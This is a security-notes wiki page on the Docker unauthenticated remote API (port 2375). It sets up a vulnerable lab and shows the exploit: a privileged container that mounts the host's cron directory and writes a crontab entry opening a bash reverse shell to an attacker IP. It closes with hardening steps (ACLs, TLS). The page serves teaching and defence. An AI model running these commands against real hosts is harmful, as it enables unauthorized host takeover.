> For the complete documentation index, see [llms.txt](https://icybersec.gitbook.io/cybersecuritynote-en/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://icybersec.gitbook.io/cybersecuritynote-en/security-vulnerability/unauthorized-vulnerability/docker-unauthorized-access-vulnerability.md).

# Docker Unauthorized Access Vulnerability

## Vulnerability Description

Malicious attackers can access Docker servers or containers without authorization. This can result in sensitive data leaks or allow attackers to perform unauthorized actions such as adding, modifying, or deleting containers.

## Environment Setup

Install docker

```
yum install -y docker
```

Modify the `/usr/lib/systemd/system/docker.service` service to start the API interface.

```
ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
```

![image-20220726104747298](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-7cd7f30660b21d7a36f721c72aba5035c8425493%2Fimage-20220726104747298.png?alt=media)

Restart the docker service.

```
systemctl daemon-reload
systemctl restart docker
```

![image-20220726104829456](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-de3777916fb3ddbd5dc56426e4559dbb8ff0cbc0%2Fimage-20220726104829456.png?alt=media)

## 漏洞复现

Entering `ip:2375/version` will list basic information, the same effect as the docker version command.

![image-20220726104904921](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-d05c2d31dc2f156ecbf8d9bee544cfa1cd7cb4e7%2Fimage-20220726104904921.png?alt=media)

**Exploit Docker container to write a timed task to bounce a shell**

We can use the unauthenticated Docker remote API to start a container and mount it to the root directory, thus giving us arbitrary read-write privileges. Then we write the reverse shell command into the crontab of the timed task, which can cause the host to bounce the shell.

```
[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh
```

Write to the schedule

```
/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root
```

![image-20220726110359885](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-306029165b832a0e4e9de9cb5037ba055b61bde2%2Fimage-20220726110359885.png?alt=media)

## Security Hardening

Do not enable the Docker remote API service unless necessary. If it is necessary, the following hardening methods can be used:

```
basicCopy codeSet ACLs to only allow trusted source IPs to connect;
Set TLS authentication, the official document for Protecting the Docker daemon socket
```

After the certificate for communication between the client and server is generated, the following command can be used to start the Docker daemon:

```perl
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
```